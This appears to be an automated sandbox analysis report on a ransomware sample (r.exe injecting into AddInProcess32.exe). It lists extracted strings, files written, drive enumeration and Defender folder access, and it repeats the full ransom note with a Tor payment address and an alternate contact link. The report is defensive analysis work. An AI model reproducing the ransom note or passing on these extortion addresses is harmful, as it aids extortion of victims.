                      Source: Binary string: D:\garuda_1890\esg\lilo\plugins\AdobeHunspellPlugin\6.1\binaries\VC.Net2010\Win32\Release\AdobeHunspellPlugin.pdb source: Data1.cab.1.dr
                      Source: Binary string: SaveAsRTF.pdb source: Data1.cab.1.dr
                      Source: Binary string: unknownsys.pdb source: AddInProcess32.exe, 00000001.00000002.637890689.000000000425D000.00000004.00000020.00020000.00000000.sdmp
                      Source: Binary string: shfolder.pdb source: AddInProcess32.exe, 00000001.00000002.637890689.000000000429F000.00000004.00000020.00020000.00000000.sdmp
                      Source: Binary string: api-ms-win-base-util-l1-1-0.pdb source: AddInProcess32.exe, 00000001.00000002.637890689.00000000042A4000.00000004.00000020.00020000.00000000.sdmp
                      Source: Binary string: Reflow.pdb source: Data1.cab.1.dr
                      Source: Binary string: mlang.pdb source: AddInProcess32.exe, 00000001.00000002.637890689.00000000042A4000.00000004.00000020.00020000.00000000.sdmp
                      Source: Binary string: mlang.pdbH source: AddInProcess32.exe, 00000001.00000002.637890689.00000000042A4000.00000004.00000020.00020000.00000000.sdmp
                      Source: Binary string: C:\O\W\B\130707\ARM\BuildResults\bin\Win32\Release\AdobeARM.pdb source: Data1.cab.1.dr
                      Source: Binary string: C:\O\W\B\130707\ARM\BuildResults\bin\Win32\Release\AdobeARMHelper.pdb source: AddInProcess32.exe, 00000001.00000003.497375654.000000000397D000.00000004.00000020.00020000.00000000.sdmp
                      Source: Binary string: api-ms-win-core-datetime-l1-1-0.pdb source: AddInProcess32.exe, 00000001.00000002.637890689.00000000042A4000.00000004.00000020.00020000.00000000.sdmp
                      Source: Binary string: PDDom.pdb source: Data1.cab.1.dr
                      Source: Binary string: C:\O\W\B\130707\ARM\BuildResults\bin\Win32\Release\armsvc.pdb source: Data1.cab.1.dr
                      Source: Binary string: MakeAccessible.pdb source: Data1.cab.1.dr

                      Spreading

                      barindex
                      Infects executable files (exe, dll, sys, html)
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSystem file written: C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exeJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSystem file written: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exeJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSystem file written: C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.exeJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile opened: z:Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile opened: x:Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile opened: v:Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile opened: t:Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile opened: r:Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile opened: p:Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile opened: n:Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile opened: l:Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile opened: j:Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile opened: h:Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile opened: f:Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile opened: b:Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile opened: y:Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile opened: w:Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile opened: u:Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile opened: s:Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile opened: q:Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile opened: o:Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile opened: m:Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile opened: k:Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile opened: i:Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile opened: g:Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile opened: e:Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile opened: a:Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 1_2_00407540 WNetOpenEnumW,WNetEnumResourceW,lstrcmpiW,WNetAddConnection2W,lstrcpyW,lstrcatW,FindFirstFileW,lstrcmpiW,wsprintfW,StrStrIW,lstrcmpW,lstrlenW,lstrcpyW,WaitForSingleObject,EnterCriticalSection,LeaveCriticalSection,ReleaseSemaphore,FindNextFileW,FindClose,wsprintfW,CreateFileW,lstrlenA,WriteFile,CloseHandle,WNetEnumResourceW,WNetCloseEnum,1_2_00407540
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 1_2_00407320 lstrcmpiW,lstrcpyW,lstrcatW,FindFirstFileW,lstrcmpiW,lstrcmpiW,wsprintfW,StrStrIW,lstrcmpW,lstrlenW,lstrcpyW,WaitForSingleObject,EnterCriticalSection,LeaveCriticalSection,ReleaseSemaphore,FindNextFileW,FindClose,wsprintfW,CreateFileW,lstrlenA,WriteFile,FindCloseChangeNotification,1_2_00407320
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 1_2_0040B5B2 FindFirstFileExW,1_2_0040B5B2
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Definition Updates\Default\Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Definition Updates\Backup\Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Definition Updates\Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Clean Store\Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Definition Updates\NisBackup\Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Jump to behavior

                      Networking

                      barindex
                      Found Tor onion address
                      Source: r.exe, 00000000.00000002.487039298.00000000043D0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: 4. Open link in TOR browser: http://mmcbkgua72og66w4jz3qcxkkhefax754pg6iknmtfujvkt2j65ffraad.onion/?M01%s
                      Source: r.exe, 00000000.00000002.478036079.000000000368A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: 4. Open link in TOR browser: http://mmcbkgua72og66w4jz3qcxkkhefax754pg6iknmtfujvkt2j65ffraad.onion/?M01%s
                      Source: AddInProcess32.exeString found in binary or memory: ser 3. Open Tor Browser 4. Open link in TOR browser: http://mmcbkgua72og66w4jz3qcxkkhefax754pg6iknmtfujvkt2j65ffraad.onion/?M01UBXEAHOL 5. and open ticket ----------------------------------------------------------------------------------------
                      Source: AddInProcess32.exeString found in binary or memory: ser 3. Open Tor Browser 4. Open link in TOR browser: http://mmcbkgua72og66w4jz3qcxkkhefax754pg6iknmtfujvkt2j65ffraad.onion/?M01%s 5. and open ticket ---------------------------------------------------------------------------------------- A
                      Source: AddInProcess32.exe, 00000001.00000002.634213262.0000000000400000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: 4. Open link in TOR browser: http://mmcbkgua72og66w4jz3qcxkkhefax754pg6iknmtfujvkt2j65ffraad.onion/?M01%s
                      Source: AddInProcess32.exe, 00000001.00000002.634213262.0000000000400000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: 4. Open link in TOR browser: http://mmcbkgua72og66w4jz3qcxkkhefax754pg6iknmtfujvkt2j65ffraad.onion/?M01UBXEAHOL
                      Source: Data1.cab.1.drString found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
                      Source: Data1.cab.1.drString found in binary or memory: http://evcs-aia.ws.symantec.com/evcs.cer0
                      Source: Data1.cab.1.drString found in binary or memory: http://evcs-crl.ws.symantec.com/evcs.crl0
                      Source: Data1.cab.1.drString found in binary or memory: http://evcs-ocsp.ws.symantec.com04
                      Source: r.exe, 00000000.00000002.491649517.00000000071F2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://fontfabrik.com
                      Source: r.exe, 00000000.00000002.487039298.00000000043D0000.00000004.00000800.00020000.00000000.sdmp, r.exe, 00000000.00000002.478036079.000000000368A000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, AddInProcess32.exe, 00000001.00000002.634213262.0000000000400000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: http://mmcbkgua72og66w4jz3qcxkkhefax754pg6iknmtfujvkt2j65ffraad.onion/?M01%s
                      Source: AddInProcess32.exe, AddInProcess32.exe, 00000001.00000002.634213262.0000000000400000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: http://mmcbkgua72og66w4jz3qcxkkhefax754pg6iknmtfujvkt2j65ffraad.onion/?M01UBXEAHOL
                      Source: Data1.cab.1.drString found in binary or memory: http://ocsp.thawte.com0
                      Source: Data1.cab.1.drString found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
                      Source: Data1.cab.1.drString found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
                      Source: Data1.cab.1.drString found in binary or memory: http://ts-ocsp.ws.symantec.com07
                      Source: r.exe, 00000000.00000002.491649517.00000000071F2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
                      Source: Data1.cab.1.drString found in binary or memory: http://www.apple.com/DTDs/PropertyList-1.0.dtd
                      Source: r.exe, 00000000.00000003.370103256.00000000060ED000.00000004.00000020.00020000.00000000.sdmp, r.exe, 00000000.00000003.370089003.00000000060EB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.ascendercorp.com/typedesigners.html
                      Source: r.exe, 00000000.00000003.369072379.0000000006110000.00000004.00000020.00020000.00000000.sdmp, r.exe, 00000000.00000003.369088713.00000000060EC000.00000004.00000020.00020000.00000000.sdmp, r.exe, 00000000.00000003.369110533.0000000006114000.00000004.00000020.00020000.00000000.sdmp, r.exe, 00000000.00000003.369072379.0000000006114000.00000004.00000020.00020000.00000000.sdmp, r.exe, 00000000.00000003.369110533.0000000006111000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.com
                      Source: r.exe, 00000000.00000003.370012375.00000000060EB000.00000004.00000020.00020000.00000000.sdmp, r.exe, 00000000.00000003.369726793.00000000060EB000.00000004.00000020.00020000.00000000.sdmp, r.exe, 00000000.00000003.370089003.00000000060EB000.00000004.00000020.00020000.00000000.sdmp, r.exe, 00000000.00000003.369858585.00000000060E7000.00000004.00000020.00020000.00000000.sdmp, r.exe, 00000000.00000003.370118094.00000000060EB000.00000004.00000020.00020000.00000000.sdmp, r.exe, 00000000.00000003.369585883.00000000060E4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.comcrac
                      Source: r.exe, 00000000.00000003.369088713.00000000060EC000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.comitk
                      Source: r.exe, 00000000.00000002.491649517.00000000071F2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.coml
                      Source: r.exe, 00000000.00000003.369110533.0000000006114000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.comt
                      Source: r.exe, 00000000.00000002.491649517.00000000071F2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com
                      Source: r.exe, 00000000.00000003.371867796.00000000060F5000.00000004.00000020.00020000.00000000.sdmp, r.exe, 00000000.00000003.371587393.00000000060F5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers
                      Source: r.exe, 00000000.00000002.491649517.00000000071F2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/?
                      Source: r.exe, 00000000.00000002.491649517.00000000071F2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
                      Source: r.exe, 00000000.00000003.371197049.00000000060EC000.00000004.00000020.00020000.00000000.sdmp, r.exe, 00000000.00000002.491649517.00000000071F2000.00000004.00000800.00020000.00000000.sdmp, r.exe, 00000000.00000003.371197049.00000000060F5000.00000004.00000020.00020000.00000000.sdmp, r.exe, 00000000.00000003.371216166.00000000060F5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
                      Source: r.exe, 00000000.00000002.491649517.00000000071F2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers8
                      Source: r.exe, 00000000.00000002.491649517.00000000071F2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers?
                      Source: r.exe, 00000000.00000002.491649517.00000000071F2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designersG
                      Source: r.exe, 00000000.00000003.371551916.00000000060F5000.00000004.00000020.00020000.00000000.sdmp, r.exe, 00000000.00000003.371505733.00000000060F5000.00000004.00000020.00020000.00000000.sdmp, r.exe, 00000000.00000003.371764316.00000000060F5000.00000004.00000020.00020000.00000000.sdmp, r.exe, 00000000.00000003.371726145.00000000060F5000.00000004.00000020.00020000.00000000.sdmp, r.exe, 00000000.00000003.371680077.00000000060F5000.00000004.00000020.00020000.00000000.sdmp, r.exe, 00000000.00000003.371632380.00000000060F5000.00000004.00000020.00020000.00000000.sdmp, r.exe, 00000000.00000003.371587393.00000000060F5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designersJ
                      Source: r.exe, 00000000.00000003.474341111.00000000060E0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.comm
                      Source: r.exe, 00000000.00000002.491649517.00000000071F2000.00000004.00000800.00020000.00000000.sdmp, r.exe, 00000000.00000002.477314694.00000000015B7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.fonts.com
                      Source: r.exe, 00000000.00000003.368717384.00000000060F0000.00000004.00000020.00020000.00000000.sdmp, r.exe, 00000000.00000002.491649517.00000000071F2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cn
                      Source: r.exe, 00000000.00000003.368899264.00000000060F2000.00000004.00000020.00020000.00000000.sdmp, r.exe, 00000000.00000003.368851975.00000000060ED000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cn/
                      Source: r.exe, 00000000.00000002.491649517.00000000071F2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cn/bThe
                      Source: r.exe, 00000000.00000002.491649517.00000000071F2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cn/cThe
                      Source: r.exe, 00000000.00000003.368717384.00000000060F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cnht
                      Source: r.exe, 00000000.00000002.491649517.00000000071F2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.galapagosdesign.com/DPlease
                      Source: r.exe, 00000000.00000002.491649517.00000000071F2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
                      Source: r.exe, 00000000.00000002.491649517.00000000071F2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.goodfont.co.kr
                      Source: r.exe, 00000000.00000002.491649517.00000000071F2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/
                      Source: AddInProcess32.exe, 00000001.00000003.578781552.000000000432A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.pelephone.co.il
                      Source: r.exe, 00000000.00000003.367601951.00000000060FB000.00000004.00000020.00020000.00000000.sdmp, r.exe, 00000000.00000003.367582006.00000000060FB000.00000004.00000020.00020000.00000000.sdmp, r.exe, 00000000.00000002.491649517.00000000071F2000.00000004.00000800.00020000.00000000.sdmp, r.exe, 00000000.00000003.367593148.00000000060FB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.sajatypeworks.com
                      Source: r.exe, 00000000.00000003.367612175.00000000060FB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.sajatypeworks.compew
                      Source: r.exe, 00000000.00000002.491649517.00000000071F2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sakkal.com
                      Source: r.exe, 00000000.00000002.491649517.00000000071F2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sandoll.co.kr
                      Source: Data1.cab.1.drString found in binary or memory: http://www.symauth.com/cps0(
                      Source: Data1.cab.1.drString found in binary or memory: http://www.symauth.com/cps09
                      Source: Data1.cab.1.drString found in binary or memory: http://www.symauth.com/rpa04
                      Source: r.exe, 00000000.00000002.491649517.00000000071F2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.tiro.com
                      Source: r.exe, 00000000.00000002.491649517.00000000071F2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.typography.netD
                      Source: r.exe, 00000000.00000002.491649517.00000000071F2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.urwpp.deDPlease
                      Source: r.exe, 00000000.00000002.491649517.00000000071F2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.zhongyicts.com.cn
                      Source: r.exe, 00000000.00000002.487039298.00000000043D0000.00000004.00000800.00020000.00000000.sdmp, r.exe, 00000000.00000002.478036079.000000000368A000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, AddInProcess32.exe, 00000001.00000002.634213262.0000000000400000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: https://www.torproject.org/
                      Source: AddInProcess32.exe, AddInProcess32.exe, 00000001.00000002.634213262.0000000000400000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: https://yip.su/2QstD5
                      Source: r.exe, 00000000.00000002.476106134.0000000001440000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

                      Spam, unwanted Advertisements and Ransom Demands

                      barindex
                      Found ransom note / readme
                      Source: C:\ProgramData\Adobe\Setup\ReadMe.txtDropped file: Attention! All your files, documents, photos, databases and other important files are encryptedThe only method of recovering files is to purchase an unique decryptor. Only we can give you this decryptor and only we can recover your files.The server with your decryptor is in a closed network TOR. You can get there by the following ways:----------------------------------------------------------------------------------------1. Download Tor browser - https://www.torproject.org/ 2. Install Tor browser 3. Open Tor Browser 4. Open link in TOR browser: http://mmcbkgua72og66w4jz3qcxkkhefax754pg6iknmtfujvkt2j65ffraad.onion/?M01UBXEAHOL 5. and open ticket ----------------------------------------------------------------------------------------Alternate communication channel here: https://yip.su/2QstD5Jump to dropped file
                      Yara detected Cryptolocker ransomware
                      Source: Yara matchFile source: Process Memory Space: r.exe PID: 5196, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: AddInProcess32.exe PID: 5080, type: MEMORYSTR
                      Writes a notice file (html or txt) to demand a ransom
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile dropped: C:\ProgramData\Adobe\Setup\ReadMe.txt -> attention! all your files, documents, photos, databases and other important files are encryptedthe only method of recovering files is to purchase an unique decryptor. only we can give you this decryptor and only we can recover your files.the server with your decryptor is in a closed network tor. you can get there by the following ways:----------------------------------------------------------------------------------------1. download tor browser - https://www.torproject.org/ 2. install tor browser 3. open tor browser 4. open link in tor browser: http://mmcbkgua72og66w4jz3qcxkkhefax754pg6iknmtfujvkt2j65ffraad.onion/?m01ubxeahol 5. and open ticket ----------------------------------------------------------------------------------------alternate communication channel here: https://yip.su/2qstd5Jump to dropped file
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile dropped: C:\ProgramData\Adobe\ReadMe.txt -> attention! all your files, documents, photos, databases and other important files are encryptedthe only method of recovering files is to purchase an unique decryptor. only we can give you this decryptor and only we can recover your files.the server with your decryptor is in a closed network tor. you can get there by the following ways:----------------------------------------------------------------------------------------1. download tor browser - https://www.torproject.org/ 2. install tor browser 3. open tor browser 4. open link in tor browser: http://mmcbkgua72og66w4jz3qcxkkhefax754pg6iknmtfujvkt2j65ffraad.onion/?m01ubxeahol 5. and open ticket ----------------------------------------------------------------------------------------alternate communication channel here: https://yip.su/2qstd5Jump to dropped file
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile dropped: C:\ReadMe.txt -> attention! all your files, documents, photos, databases and other important files are encryptedthe only method of recovering files is to purchase an unique decryptor. only we can give you this decryptor and only we can recover your files.the server with your decryptor is in a closed network tor. you can get there by the following ways:----------------------------------------------------------------------------------------1. download tor browser - https://www.torproject.org/ 2. install tor browser 3. open tor browser 4. open link in tor browser: http://mmcbkgua72og66w4jz3qcxkkhefax754pg6iknmtfujvkt2j65ffraad.onion/?m01ubxeahol 5. and open ticket ----------------------------------------------------------------------------------------alternate communication channel here: https://yip.su/2qstd5Jump to dropped file
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile dropped: C:\ProgramData\Adobe\ARM\S\ReadMe.txt -> attention! all your files, documents, photos, databases and other important files are encryptedthe only method of recovering files is to purchase an unique decryptor. only we can give you this decryptor and only we can recover your files.the server with your decryptor is in a closed network tor. you can get there by the following ways:----------------------------------------------------------------------------------------1. download tor browser - https://www.torproject.org/ 2. install tor browser 3. open tor browser 4. open link in tor browser: http://mmcbkgua72og66w4jz3qcxkkhefax754pg6iknmtfujvkt2j65ffraad.onion/?m01ubxeahol 5. and open ticket ----------------------------------------------------------------------------------------alternate communication channel here: https://yip.su/2qstd5Jump to dropped file
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile dropped: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\ReadMe.txt -> attention! all your files, documents, photos, databases and other important files are encryptedthe only method of recovering files is to purchase an unique decryptor. only we can give you this decryptor and only we can recover your files.the server with your decryptor is in a closed network tor. you can get there by the following ways:----------------------------------------------------------------------------------------1. download tor browser - https://www.torproject.org/ 2. install tor browser 3. open tor browser 4. open link in tor browser: http://mmcbkgua72og66w4jz3qcxkkhefax754pg6iknmtfujvkt2j65ffraad.onion/?m01ubxeahol 5. and open ticket ----------------------------------------------------------------------------------------alternate communication channel here: https://yip.su/2qstd5Jump to dropped file
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile dropped: C:\ProgramData\Adobe\ARM\ReadMe.txt -> attention! all your files, documents, photos, databases and other important files are encryptedthe only method of recovering files is to purchase an unique decryptor. only we can give you this decryptor and only we can recover your files.the server with your decryptor is in a closed network tor. you can get there by the following ways:----------------------------------------------------------------------------------------1. download tor browser - https://www.torproject.org/ 2. install tor browser 3. open tor browser 4. open link in tor browser: http://mmcbkgua72og66w4jz3qcxkkhefax754pg6iknmtfujvkt2j65ffraad.onion/?m01ubxeahol 5. and open ticket ----------------------------------------------------------------------------------------alternate communication channel here: https://yip.su/2qstd5Jump to dropped file
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile dropped: C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\ReadMe.txt -> attention! all your files, documents, photos, databases and other important files are encryptedthe only method of recovering files is to purchase an unique decryptor. only we can give you this decryptor and only we can recover your files.the server with your decryptor is in a closed network tor. you can get there by the following ways:----------------------------------------------------------------------------------------1. download tor browser - https://www.torproject.org/ 2. install tor browser 3. open tor browser 4. open link in tor browser: http://mmcbkgua72og66w4jz3qcxkkhefax754pg6iknmtfujvkt2j65ffraad.onion/?m01ubxeahol 5. and open ticket ----------------------------------------------------------------------------------------alternate communication channel here: https://yip.su/2qstd5Jump to dropped file
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile dropped: C:\ProgramData\Adobe\ARM\Reader_19.012.20034\ReadMe.txt -> attention! all your files, documents, photos, databases and other important files are encryptedthe only method of recovering files is to purchase an unique decryptor. only we can give you this decryptor and only we can recover your files.the server with your decryptor is in a closed network tor. you can get there by the following ways:----------------------------------------------------------------------------------------1. download tor browser - https://www.torproject.org/ 2. install tor browser 3. open tor browser 4. open link in tor browser: http://mmcbkgua72og66w4jz3qcxkkhefax754pg6iknmtfujvkt2j65ffraad.onion/?m01ubxeahol 5. and open ticket ----------------------------------------------------------------------------------------alternate communication channel here: https://yip.su/2qstd5Jump to dropped file
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile dropped: C:\Recovery\WindowsRE\ReadMe.txt -> attention! all your files, documents, photos, databases and other important files are encryptedthe only method of recovering files is to purchase an unique decryptor. only we can give you this decryptor and only we can recover your files.the server with your decryptor is in a closed network tor. you can get there by the following ways:----------------------------------------------------------------------------------------1. download tor browser - https://www.torproject.org/ 2. install tor browser 3. open tor browser 4. open link in tor browser: http://mmcbkgua72og66w4jz3qcxkkhefax754pg6iknmtfujvkt2j65ffraad.onion/?m01ubxeahol 5. and open ticket ----------------------------------------------------------------------------------------alternate communication channel here: https://yip.su/2qstd5Jump to dropped file
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile dropped: C:\Recovery\ReadMe.txt -> attention! all your files, documents, photos, databases and other important files are encryptedthe only method of recovering files is to purchase an unique decryptor. only we can give you this decryptor and only we can recover your files.the server with your decryptor is in a closed network tor. you can get there by the following ways:----------------------------------------------------------------------------------------1. download tor browser - https://www.torproject.org/ 2. install tor browser 3. open tor browser 4. open link in tor browser: http://mmcbkgua72og66w4jz3qcxkkhefax754pg6iknmtfujvkt2j65ffraad.onion/?m01ubxeahol 5. and open ticket ----------------------------------------------------------------------------------------alternate communication channel here: https://yip.su/2qstd5Jump to dropped file

                      System Summary

                      barindex
                      .NET source code contains very large array initializations
                      Source: r.exe, g4WM.csLarge array initialization: g4WM: array initializer size 136461
                      Source: 0.0.r.exe.170000.0.unpack, g4WM.csLarge array initialization: g4WM: array initializer size 136461
                      Source: r.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
                      Source: C:\Users\user\Desktop\r.exeCode function: 0_2_051712180_2_05171218
